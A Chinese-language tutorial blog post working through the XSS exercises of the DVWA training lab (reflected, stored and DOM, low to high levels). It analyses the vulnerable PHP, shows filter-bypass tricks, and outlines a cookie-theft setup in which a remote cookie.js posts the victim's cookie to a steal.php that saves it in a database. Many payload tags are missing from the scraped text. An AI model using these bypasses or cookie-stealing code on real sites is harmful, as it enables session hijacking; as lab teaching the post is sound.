资讯专栏INFORMATION COLUMN

DVWA-从入门到放弃之XSS(Reflected,Stored,DOM)

Eastboat / 2953人阅读

摘要:且通过语句插入到数据库中。所以存在存储型漏洞操作步骤由于和输入框均存在。如果有,则利用函数重新发起请求,将值改为操作步骤输入,发现值改为使用大小写,双写绕过发现也不行,初步判断应该是把标签过滤掉了。

作为兴趣,一直想把自己所知道基础入门的知识总结一下。在总结的过程中也是一个不断学习地过程,慢慢学吧

XSS-跨站脚本攻击,在某种意义上也是一种注入型攻击
XSS不仅仅限于JavaScript,还包括flash等其它脚本语言
根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS(Stored)与反射型的XSS(Reflected)
DOM型的XSS由于其特殊性,是一种基于DOM树的XSS,被分为第三种
XSS(Reflected) Low 代码分析
Hello " . $_GET[ "name" ] . "
"; } ?> #array_key_exists()函数检查数组里是否有指定的键名或索引。有返回true,没有返回false

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞

操作步骤

输入


可以看到成功出现弹窗

F12进入开发者模式可以看到浏览器成功将我们的输入作为HTML元素解释运行


Medium 代码分析
", "", $_GET[ "name" ] );

    // Feedback for end user
    echo "
Hello ${name}
"; } ?>

Medium级别的代码相对于Low级别的代码使用str_replace函数将输入中的
2.使用大小写绕过,输入
3.输入其他标签,如
可以看到结果:

获取到了当前用户的cookie,这结合csrf(跨站请求伪造)攻击危害是很大的


High 代码分析
Hello ${name}
"; } ?>

可以看到High级别的代码使用了preg_replace函数执行一个正则表达式的搜索和替换
其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i是正则表达式(.*)表示贪婪匹配,/i表示不区分大小写
所以在High级别的代码中,所有关于

点击Forward得到结果

F12打开开发者模式可以看到输入内容被前端html代码解析运行:

由于提交的结果存储在数据库中,所以每次刷新页面,输入的恶意代码就会被执行一次

Medium 代码分析
", "", $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( "$message", "$name" );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( "
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "
" ); //mysql_close(); } ?>

strip_tags()函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用标签。
addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
htmlspecialchars()函数把预定义的字符&、"、"、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
一顿操作对message输入内容进行检测过滤,因此无法再通过message参数注入XSS代码
但是对于name参数,只是简单过滤了

2.使用大小写绕过,输入
3.输入其他标签,如

High 代码分析
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "
" ); //mysql_close(); } ?>

和反射型XSS-High级别代码功能一致。对name输入内容利用正则匹配删除所有关于

其实,在上述例子的XSS危害只是弹窗,并不能实际获取到cookie,下面演示怎样远程获取用户cookie:

原理:

由于script标签可以加载远程服务器的javascript代码并且执行,所以在远程服务器编写一个cookie.js

document.write("
"); document.write(""); document.write("
"); document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php:

";
    }
    mysql_close();
}
?>

steal.php会将我们获取到的cookie存到数据库中,搞事之前先创建数据库和相应的表(字段):

create database dvwacookie;#创建数据库
use dvwacookie;#进入dvwacookie数据库
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
#创建一个low表,字段id-int类型,主键,值自动增长、字段cookie

接下来在XSS漏洞位置插入:

就可以获取用户cookie。参考链接在此,与本作者无关

XSS(DOM)
对于DOM型的XSS是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的
最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生

介绍下DOM:

HTML DOM 是关于如何获取、修改、添加或删除 HTML 元素的标准
简单来说DOM主要研究的是节点,所有节点可通过javascript访问(增,删,改,查)

可能触发DOM型XSS属性:本实验中主要用到的就是document.write属性

document.write属性
document.referer属性
innerHTML属性
windows.name属性
location属性
Low 代码分析
 

可以,很直接

操作步骤

1.正常输入English和French,F12打开开发者模式可以看见

现在来分析一下

F12审查元素:

可以看到和之前正常输入相比较,第一个option标签,就是被解释运行

Medium 代码分析
 

Medium级别的代码先是检查判断default参数是否为空,不为空则赋值。然后使用stripos()函数判断default值中是否含有。如果有,则利用header()函数重新发起http请求,将default值改为"English"

操作步骤

1.输入,发现default值改为"English"
2.使用大小写,双写绕过:ipt>alert(1)发现也不行,初步判断应该是把

发现和正常选择"English"一样
3.使用其他标签试试:link PT src="127.0.0.1/cookie.js"> 更新中。。。

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/31738.html

相关文章

  • DVWA-入门放弃XSS(Reflected,Stored,DOM)

    摘要:且通过语句插入到数据库中。所以存在存储型漏洞操作步骤由于和输入框均存在。如果有,则利用函数重新发起请求,将值改为操作步骤输入,发现值改为使用大小写,双写绕过发现也不行,初步判断应该是把标签过滤掉了。 作为兴趣,一直想把自己所知道基础入门的知识总结一下。在总结的过程中也是一个不断学习地过程,慢慢学吧 showImg(https://segmentfault.com/img/bVbt4Cy...

    LdhAndroid 评论0 收藏0
  • 前端安全XSS攻击

    摘要:跨域脚本攻击攻击是最常见的攻击,其重点是跨域和客户端执行。后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。开发安全措施首要是服务端要进行过滤,因为前端的校验可以被绕过。这种直接存在于页面,无须经过服务器返回就是基于本地的攻击。 XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是跨域和客户端执行。有人将XSS攻击分为三种,分别是: Re...

    lmxdawn 评论0 收藏0
  • 前端——影子杀手篇

    摘要:前言对于一个影子杀手而言,总能杀人于无形。前端也有影子杀手,它总是防不胜防地危害着你的网站本篇打算介绍一些前端的影子杀手们和。影子杀手们,由来已久,几乎伴随着整个互联网的发展。 前言 对于一个影子杀手而言,总能杀人于无形。前端也有影子杀手,它总是防不胜防地危害着你的网站 本篇打算介绍一些前端的影子杀手们——XSS和CSRF。或许,你对它恨之入骨;又或者,你运用的得心应手。恨之入骨,可能...

    李世赞 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<